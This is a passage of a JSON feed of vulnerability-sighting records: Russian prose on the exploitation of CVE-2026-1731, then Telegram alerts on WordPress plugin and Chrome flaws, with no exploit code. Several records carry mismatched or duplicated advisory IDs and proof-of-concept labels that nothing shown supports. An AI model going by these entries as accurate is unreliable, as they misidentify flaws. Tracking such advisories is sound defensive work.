\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (OAST) \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043e\u0442\u043f\u0435\u0447\u0430\u0442\u043a\u043e\u0432 \u043f\u0430\u043b\u044c\u0446\u0435\u0432.\n\n- \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0434\u043b\u044f \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438, \u0441\u0436\u0430\u0442\u0438\u044f \u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u0430\u043c\u043f PostgreSQL, \u043d\u0430 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u0441\u0435\u043a\u0442\u043e\u0440\u044b \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0443\u0441\u043b\u0443\u0433, \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u0441\u043b\u0443\u0433, \u0432\u044b\u0441\u043e\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439, \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f, \u0442\u043e\u0440\u0433\u043e\u0432\u043b\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432 \u0421\u0428\u0410, \u0424\u0440\u0430\u043d\u0446\u0438\u0438, \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438, \u0410\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0438 \u0438 \u041a\u0430\u043d\u0430\u0434\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u0441\u0431\u043e\u0439 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 thin-scc-wrapper, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WebSocket, \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0430\u043a\u0446\u0435\u043d\u0442\u0438\u0440\u0443\u044e\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 CVE-2026-1731 \u0438\u00a0CVE-2024-12356, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e, \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0443\u044e\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0443\u0442\u044f\u0445 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.\n\n\u0418, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2024-12356 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u043c\u0438 APT, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 Silk Typhoon, \u0432 Palo Alto \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442, \u0447\u0442\u043e CVE-2026-1731 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u041d\u043e \u0431\u0443\u0434\u0435\u043c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2026-02-20T18:00:09.000000Z"}, {"uuid": "234bd9d8-4480-4c6c-8f49-b444a8b8d849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1229", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/31", "content": "\ud83d\udccc CVE ID: GHSA-jrxv-486p-m4jq\n\ud83d\udd39 Summary: No summary available.\n\ud83d\udd17 More Info: https://nvd.nist.gov/vuln/detail/CVE-2024-1229", "creation_timestamp": "2025-01-05T01:28:36.000000Z"}, {"uuid": "d807269c-6f5f-46a7-9fed-60fe15b22d8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12221", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/111", "content": "\ud83d\udccc **CVE ID**: GHSA-cvj8-48rm-vmhr\n\ud83d\udd17 **Aliases**: CVE-2024-12221\n\ud83d\udd39 **Details**: The Turnkey bbPress by WeaverTheme plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018_wpnonce\u2019 parameter in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-79\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12221\n2. https://plugins.trac.wordpress.org/changeset/320943\n3. https://wordpress.org/plugins/weaver-for-bbpress\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/35c608c3-9c28-4e0d-b0ec-d0a29fccd3b?source=cve", "creation_timestamp": "2025-01-05T01:39:23.000000Z"}, {"uuid": "e77ce592-20b1-4b54-9d47-7b9457283d0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12602", "type": "seen", "source": "https://t.me/cvedetector/17394", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12602 - Netflix ParamWatcher Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12602 \nPublished : Feb. 6, 2025, 1:15 p.m. | 1\u00a0hour, 20\u00a0minutes ago \nDescription : Identity verification vulnerability in the ParamWatcher module  \nImpact: Successful exploitation of this vulnerability may affect service confidentiality. \nSeverity: 6.2 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-06T16:04:04.000000Z"}, {"uuid": "29f452a4-9260-4c4a-b4f5-e81d269687e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12453", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/321", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12453\n\ud83d\udd39 Description: The Uptodown APK Download Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'utd-widget' shortcode in all versions up to, and including, 0.1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:15.374Z\n\ud83d\udccf Modified: 2025-01-07T04:22:15.374Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/78c2d5fc-240a-4fed-92ae-b9f84de3e119?source=cve\n2. https://plugins.trac.wordpress.org/browser/uptodown-apk-download-widget/trunk/uptodown_wp_widget.php#L47\n3. https://wordpress.org/plugins/uptodown-apk-download-widget", "creation_timestamp": "2025-01-07T04:38:50.000000Z"}, {"uuid": "e4025e2b-fde7-4cf2-b613-42755a0cafb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12279", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/110", "content": "\ud83d\udccc **CVE ID**: GHSA-jrxv-486p-m4jq\n\ud83d\udd17 **Aliases**: CVE-2024-12279\n\ud83d\udd39 **Details**: The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-352\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1229\n2. https://plugins.trac.wordpress.org/changeset/32115\n3. https://wordpress.org/plugins/wp-fb-autoconnect/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/392d8286-a5fd-4d5d-9f6a-f13564013edc?source=cve", "creation_timestamp": "2025-01-05T01:39:15.000000Z"}, {"uuid": "a218a6bd-0d46-4548-9e1c-8ccf2169b27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1229", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/110", "content": "\ud83d\udccc **CVE ID**: GHSA-jrxv-486p-m4jq\n\ud83d\udd17 **Aliases**: CVE-2024-12279\n\ud83d\udd39 **Details**: The WP Social AutoConnect plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.6.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udd22 **Severity**: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\ud83d\uddd3\ufe0f **Modified**: 2025-01-04T12:30:32Z\n\ud83d\uddd3\ufe0f **Published**: 2025-01-04T12:30:32Z\n\ud83c\udff7\ufe0f **CWE IDs**: CWE-352\n\ud83d\udd17 **References**:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-1229\n2. https://plugins.trac.wordpress.org/changeset/32115\n3. https://wordpress.org/plugins/wp-fb-autoconnect/#developers\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/392d8286-a5fd-4d5d-9f6a-f13564013edc?source=cve", "creation_timestamp": "2025-01-05T01:39:15.000000Z"}, {"uuid": "88500a1e-c4ff-428f-9111-ca1fdc6b477f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/299", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12435\n\ud83d\udd39 Description: The Compare Products for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018s_feature\u2019 parameter in all versions up to, and including, 3.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:23.499Z\n\ud83d\udccf Modified: 2025-01-07T04:22:23.499Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f74c419a-56de-4190-925d-876d32f712e1?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/admin/classes/class-wc-compare-fields.php#L392\n3. https://plugins.trac.wordpress.org/browser/woocommerce-compare-products/trunk/admin/classes/class-wc-compare-fields.php#L397", "creation_timestamp": "2025-01-07T04:36:18.000000Z"}, {"uuid": "2be064dc-3dfc-4264-b9fd-c90c9798b498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12324", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/298", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12324\n\ud83d\udd39 Description: The Unilevel MLM Plan plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018page\u2019 parameter in all versions up to, and including, 1.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:23.847Z\n\ud83d\udccf Modified: 2025-01-07T04:22:23.847Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fe71e2b9-ddd7-4d6d-97e5-5fad41f8f35c?source=cve\n2. https://plugins.trac.wordpress.org/browser/unilevel-mlm-plan/trunk/includes/admin/settings/view/ump-epins-list.php#L81", "creation_timestamp": "2025-01-07T04:36:05.000000Z"}, {"uuid": "bdd79167-acaa-4b0c-b033-1814dc0c2743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12470", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/305", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12470\n\ud83d\udd39 Description: The School Management System \u2013 SakolaWP plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.0.8. This is due to the registration function not properly limiting what roles a user can register as. This makes it possible for unauthenticated attackers to register as an administrative user.\n\ud83d\udccf Published: 2025-01-07T04:22:21.270Z\n\ud83d\udccf Modified: 2025-01-07T04:22:21.270Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/db1c581b-5cc9-46c0-ba5d-605642697729?source=cve\n2. https://wordpress.org/plugins/sakolawp-lite/", "creation_timestamp": "2025-01-07T04:36:56.000000Z"}, {"uuid": "91a323ca-eaea-46ff-b518-d64ed05dd2eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12208", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/304", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12208\n\ud83d\udd39 Description: The Backup and Restore WordPress \u2013 Backup Plugin plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.50. This is due to missing or incorrect nonce validation on the ajax_queue_manual_backup() function. This makes it possible for unauthenticated attackers to trigger backups via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:21.646Z\n\ud83d\udccf Modified: 2025-01-07T04:22:21.646Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e461a04b-6456-4930-b3e7-0f808825aa6b?source=cve\n2. https://wordpress.org/plugins/wp-backitup/", "creation_timestamp": "2025-01-07T04:36:52.000000Z"}, {"uuid": "ca55bc0c-aca4-4cc4-adbe-d52548598b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12302", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/150", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-24m8-vx7p-q7mf\n\ud83d\udd17 Aliases: CVE-2024-12302\n\ud83d\udd39 Details: The Icegram Engage  WordPress plugin before 3.1.32 does not sanitise and escape some of its Campaign settings, which could allow authors and above to perform Stored Cross-Site Scripting attacks\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T06:30:46Z\n\ud83d\uddd3\ufe0f Published: 2025-01-06T06:30:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12302\n2. https://wpscan.com/vulnerability/ed860dac-8c4a-482f-8826-31f1a894b6ce", "creation_timestamp": "2025-01-06T06:40:14.000000Z"}, {"uuid": "28c17ef7-117b-4970-9f45-032bfe990665", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12693", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-m84q-p89f-6cc5\n\ud83d\udd17 Aliases: CVE-2024-12693\n\ud83d\udd39 Details: Out of bounds memory access in V8 in Google Chrome prior to 131.0.6778.204 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)\n\ud83d\udd22 Severity: CVSS_V3: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T15:30:58Z\n\ud83d\uddd3\ufe0f Published: 2024-12-19T00:37:35Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12693\n2. https://chromereleases.googleblog.com/2024/12/stable-channel-update-for-desktop_18.html\n3. https://issues.chromium.org/issues/382190919", "creation_timestamp": "2025-01-06T15:38:25.000000Z"}, {"uuid": "601f26bb-128d-46ef-84bb-19c71b6591f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12311", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/149", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-c797-jx9v-f674\n\ud83d\udd17 Aliases: CVE-2024-12311\n\ud83d\udd39 Details: The Email Subscribers by Icegram Express  WordPress plugin before 5.7.44 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\uddd3\ufe0f Modified: 2025-01-06T06:30:46Z\n\ud83d\uddd3\ufe0f Published: 2025-01-06T06:30:45Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12311\n2. https://wpscan.com/vulnerability/5e00ba3-daf-403-a0b9-6523696fbdd", "creation_timestamp": "2025-01-06T06:40:11.000000Z"}, {"uuid": "f957115f-bb0d-46f4-b91f-37677e864bad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/301", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12445\n\ud83d\udd39 Description: The RightMessage WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'rm_area' shortcode in all versions up to, and including, 0.9.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:22:22.734Z\n\ud83d\udccf Modified: 2025-01-07T04:22:22.734Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/efbbb33d-28ed-47f4-a8dd-2fc7564d9df2?source=cve\n2. https://plugins.trac.wordpress.org/browser/rightmessage/trunk/includes/class-rightmessage.php#L45\n3. https://wordpress.org/plugins/rightmessage", "creation_timestamp": "2025-01-07T04:36:38.000000Z"}, {"uuid": "b286823b-779f-4a4a-9ba4-ae564b45cc6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12532", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/392", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12532\n\ud83d\udd39 Description: The BWD Elementor Addons plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.3.18 in widgets/bwdeb-content-switcher.php. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive private, pending, and draft template data.\n\ud83d\udccf Published: 2025-01-07T11:11:11.537Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.537Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/8bdf6a52-7316-440b-9d36-d405a672dce1?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3211460/bwd-elementor-addons", "creation_timestamp": "2025-01-07T11:37:18.000000Z"}, {"uuid": "b56c665f-5322-4d86-a85a-daf545c2757a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/217", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12595\n\ud83d\udd39 Description: The AHAthat Plugin WordPress plugin through 1.6 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers\n\ud83d\udccf Published: 2025-01-02T06:00:13.479Z\n\ud83d\udccf Modified: 2025-01-06T20:26:50.598Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7a506438-3106-477f-816d-b9b116ec8555/", "creation_timestamp": "2025-01-06T20:49:00.000000Z"}, {"uuid": "f2e68036-5180-459b-b86f-9f9991adb238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12402", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/294", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12402\n\ud83d\udd39 Description: The Themes Coder \u2013 Create Android & iOS Apps For Your Woocommerce Site plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.3.4. This is due to the plugin not properly validating a user's identity prior to updating their password through the update_user_profile() function. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-01-07T03:21:53.748Z\n\ud83d\udccf Modified: 2025-01-07T03:21:53.748Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1ec14b1e-6d1a-4451-9fce-ac064623d92f?source=cve\n2. https://plugins.trac.wordpress.org/browser/tc-ecommerce/trunk/controller/app_user.php#L338", "creation_timestamp": "2025-01-07T03:37:22.000000Z"}, {"uuid": "e5356e32-2825-46c3-ad39-9952ff650ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12557", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/293", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12557\n\ud83d\udd39 Description: The Transporters.io plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.84. This is due to missing nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T03:21:54.147Z\n\ud83d\udccf Modified: 2025-01-07T03:21:54.147Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/2f79778c-c11a-4d98-bc26-8113c3fef630?source=cve\n2. https://wordpress.org/plugins/transportersio/#developers", "creation_timestamp": "2025-01-07T03:37:15.000000Z"}, {"uuid": "60fdfff7-2435-4e14-bf9d-9a79d9f6b027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/343", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber 